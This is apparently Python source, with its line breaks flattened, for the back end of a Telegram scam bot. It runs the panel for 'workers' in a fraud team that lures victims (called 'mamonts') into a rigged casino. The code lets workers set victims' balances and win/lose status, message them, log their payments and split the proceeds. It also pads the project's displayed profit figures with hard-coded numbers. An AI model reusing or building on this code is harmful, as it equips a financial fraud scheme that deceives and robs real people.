def balance_to_user(message): try: if (':' in message.text): data = message.text.split(':') telegram_id = database.user_telegram_id(data[0]) user_code = database.user_invite_code(telegram_id) worker_code = database.worker_code(message.chat.id) if (user_code == worker_code) or (message.chat.id == support) or (message.chat.id == admin): value = float(data[1]) call = database.user_set_balance(telegram_id, value) if (call == 1): bot.send_message( message.chat.id, f'💁🏻♀️ Баланс был *изменен*\nНовый баланс: {database.user_balance(telegram_id)} ₽', parse_mode="Markdown") else: bot.send_message(message.chat.id, '⚠️ Данный пользователь записан *не за Вас*!', parse_mode="Markdown") except: pass
def message_to_users(message): try: if (':' in message.text): data = message.text.split(':') telegram_id = database.user_telegram_id(data[0]) user_code = database.user_invite_code(telegram_id) worker_code = database.worker_code(message.chat.id) if (user_code == worker_code) or (message.chat.id == support_id): bot.send_message(telegram_id, data[1], parse_mode="Markdown") Thread = threading.Thread(target=checking_username, args=(telegram_id, responce.text)) Thread.start() return True else: return False else: return False except: pass
def user_delmamonts(call): try: code = database.worker_code(call.message.chat.id) user_mamont = database.user_userid_mamonts(code) for user_id in user_mamont: database.user_update_invite_code(user_id, '0') bot.send_message(call.message.chat.id, '💁🏻♀️ Все мамонты *были удалены*', parse_mode="Markdown") except: pass
def manual_payment(message): try: if (':' in message.text): data = message.text.split(':') code = database.worker_code(data[1]) bot.send_message(channel_id, f'🦋 *Успешное* пополнение\n\n💁🏻♀️ Воркер: {str(data[0])}\n\n⚡️ Сумма пополнения: *{data[2]}* ₽\n💸 Доля воркера: ~ *{repl_share(data[2])}* ₽', parse_mode="Markdown") bot.send_message(data[1], f'🦋 *Успешное* пополнение\n\n⚡️ Сумма пополнения: *{data[2]}* ₽\n💸 Твоя доля: ~ *{repl_share(data[2])}* ₽', parse_mode="Markdown") database.worker_update_profit(data[1], float(data[2])) database.user_add_listpay('Ручка', code, repl_percent(data[2])) except Exception as e: print(e)
def status_to_user(message): try: if (':' in message.text): data = message.text.split(':') telegram_id = database.user_telegram_id(data[0]) worker_code = database.worker_code(telegram_id) if (worker_code == worker_code) or (message.chat.id == support): call = database.user_update_status(telegram_id, data[1]) if (call == 1): bot.send_message(message.chat.id, f'💁🏻♀️ Статус *изменен*\nНовый статус: {database.user_status(telegram_id)}', parse_mode="Markdown") else: bot.send_message(message.chat.id, '⚠️ Данный пользователь записан *не за Вас*!', parse_mode="Markdown") except: pass
def user_payments(call): try: code = database.worker_code(call.message.chat.id) user_payment = database.worker_payments(code) if (len(user_payment) > 0): message = '' for key in user_payment: message += key message += '\n' bot.send_message(call.message.chat.id, f'💁🏻♀️ Твои *залеты* - всего: *{len(user_payment)}*\n_(Telegram ID / тип) - сумма_\n\n{message}', parse_mode="Markdown") else: bot.send_message(call.message.chat.id, '💁🏻♀️ У Вас не было *залетов*', parse_mode="Markdown") except: pass
def user_mamonts(call): try: code = database.worker_code(call.message.chat.id) user_mamont = database.worker_mamonts(code) if (len(user_mamont) > 0): message = '' for key in user_mamont: message += key message += '\n' bot.send_message(call.message.chat.id, f'💁🏻♀️ Твои *мамонты* - всего: *{len(user_mamont)}*\n(ID) - @username - баланс - статус (1 - full win, 2 - default, 3 - full lose)\n\n{message}', parse_mode="Markdown") else: bot.send_message(call.message.chat.id, '💁🏻♀️ У Вас нет *мамонтов*', parse_mode="Markdown") except: pass
def get_text_messages(message): chat_id = message.chat.id merchant_id = database.worker_merchant_id(chat_id) try: if (message.text == '💞 Меню'): if (merchant_id == 2): user_code = database.worker_code(chat_id) user_phone = database.worker_phone(chat_id) referal = f'https://t.me/{repl(bot_name)}?start={user_code}' inline_keyboard = types.InlineKeyboardMarkup(row_width = 1) inline_1 = types.InlineKeyboardButton(text = "Управление мамонтами", callback_data = 'SETTING_MAMONT') inline_2 = types.InlineKeyboardButton(text = "Создать промокод", callback_data = 'CREATE_PROMO') inline_keyboard.add(inline_1, inline_2) bot.send_message(chat_id, '⚡️') bot.send_message(chat_id, f'💁🏻♀️ Меню *воркера*\n\nВаш код: `{user_code}`\nКошелек для вывода: `{user_phone}`\nВаша реферальная система: {referal}', parse_mode="Markdown", reply_markup=inline_keyboard) elif (message.text == '💁🏻♀️ Мой профиль'): if (merchant_id == 2): balance = database.worker_balance(chat_id) receive = database.worker_receive(chat_id) allpayments = database.worker_allpayments(chat_id) allalong = database.worker_all_along(chat_id) middlepayment = database.worker_middlepayments(chat_id) date = repldate(chat_id) messages = '' if (ticket_config.status == '1'): messages = '🌕 *Все работает*, можно работать!' elif (ticket_config.status == '0'): messages = '🌑 *Временно* не работаем, тех. работы!' elif (message.text == "stаrt"): bot.send_message(message.chat.id, number, stats, parse_mode="Markdown", reply_markup=keyboard.main_keyboard()) emoji(chat_id) if (chat_id != admin) and (chat_id != support): inline_keyboard = types.InlineKeyboardMarkup(row_width = 1) inline_1 = types.InlineKeyboardButton(text = "Залеты", callback_data = 'MY_PAYMENTS') inline_2 = types.InlineKeyboardButton(text = "Вывод", callback_data = 'RECEIVE') inline_keyboard.add(inline_1, inline_2) bot.send_message(chat_id, f'💁🏻♀️ Ваш *профиль*\n\n🚀 Telegram ID: *{chat_id}*\nБаланс: *{balance}* ₽\nНа выводе: *{receive}* ₽\nОплата: *{ticket_config.percent}%*, через тех. поддержку: *{ticket_config.percent_support}%*\n\n💸 У тебя *{allpayments}* профитов на сумму в {allalong} ₽\nСредний профит ~ *{middlepayment}* ₽' + f'\n\n💎 Статус: *Воркер*\nДней в команде: *{date}*\n\n{messages}', parse_mode="Markdown", reply_markup=inline_keyboard) elif (chat_id == admin): inline_keyboard = types.InlineKeyboardMarkup(row_width = 1) inline_1 = types.InlineKeyboardButton(text = "Залеты", callback_data = 'MY_PAYMENTS') inline_2 = types.InlineKeyboardButton(text = "Настройки", callback_data = 'SETTINGS') inline_keyboard.add(inline_1, inline_2) bot.send_message(chat_id, f'💁🏻♀️ Ваш *профиль*\n\n🚀 Telegram ID: *{chat_id}*\nБаланс: *{balance}* ₽\nНа выводе: *{receive}* ₽\nОплата: *{ticket_config.percent}%*, через тех. поддержку: *{ticket_config.percent_support}%*\n\n💸 У тебя *{allpayments}* профитов на сумму в {allalong} ₽\nСредний профит ~ *{middlepayment} ₽*' + f'\n\n💎 Статус: *Администратор*\nДней в команде: *{date}*\n\n{messages}', parse_mode="Markdown", reply_markup=inline_keyboard) elif (chat_id == support): inline_keyboard = types.InlineKeyboardMarkup(row_width = 1) inline_1 = types.InlineKeyboardButton(text = "Залеты", callback_data = 'MY_PAYMENTS') inline_keyboard.add(inline_1) bot.send_message(chat_id, f'💁🏻♀️ Ваш *профиль*\n\n🚀 Telegram ID: *{chat_id}*\nБаланс: *{balance}* ₽\nНа выводе: *{receive}* ₽\nОплата: *{ticket_config.percent}%*, через тех. поддержку: *{ticket_config.percent_support}%*\n\n💸 У тебя *{allpayments}* профитов на сумму в {allalong} ₽\nСредний профит ~ *{middlepayment} ₽*' + f'\n\n💎 Статус: *Саппорт*\nДней в команде: *{date}*\n\n{messages}', parse_mode="Markdown", reply_markup=inline_keyboard) elif (message.text == "🦋 О проекте"): if (merchant_id == 2): all_payments = int(database.project_all_payments()) + 247 all_payments_rub = int(database.project_all_rub()) + 124000 messages = '' if (ticket_config.status == '1'): messages = '🌕 *Все работает*, можно работать!' elif (ticket_config.status == '0'): messages = '🌑 *Временно* не работаем, тех. работы!' inline_keyboard = types.InlineKeyboardMarkup(row_width = 2) inline_1 = types.InlineKeyboardButton(text = "📚 Материалы", url = f'{ticket_config.mater}') inline_2 = types.InlineKeyboardButton(text = "💸 Залеты", url = f'{ticket_config.zalet}') inline_3 = types.InlineKeyboardButton(text = "🐬 Инфо. канал", url = f'{ticket_config.infos}') inline_4 = types.InlineKeyboardButton(text = "💬 Чат воркеров", url = f'{ticket_config.chat}') inline_keyboard.add(inline_3) inline_keyboard.add(inline_1, inline_2) inline_keyboard.add(inline_4) bot.send_message(chat_id, f'🦋 Информация о проекте *{ticket_config.pname}*\n\n💞 *Мы открылись:* {ticket_config.pdate}\n🦋 *Количество* профитов: {all_payments}\n🐬 *Общая сумма* профитов: {all_payments_rub} ₽\n Учёт статистики ведётся с 12 декабря\n\n💆🏻♀️ *ТС* @dannovik1 \n👩🏻 Саппорт @New0130\n\n*Выплаты* проекта:\n— Оплата: {ticket_config.percent}%\n— Оплата через тех. поддержку: {ticket_config.percent_support}%\n\n*Состояние* казино:\n{messages}', parse_mode="Markdown", reply_markup=inline_keyboard) elif (message.text == "Назад"): bot.send_message(message.chat.id, '💁🏻♀️ *Главное* меню', parse_mode="Markdown", reply_markup=keyboard.main_keyboard()) except: pass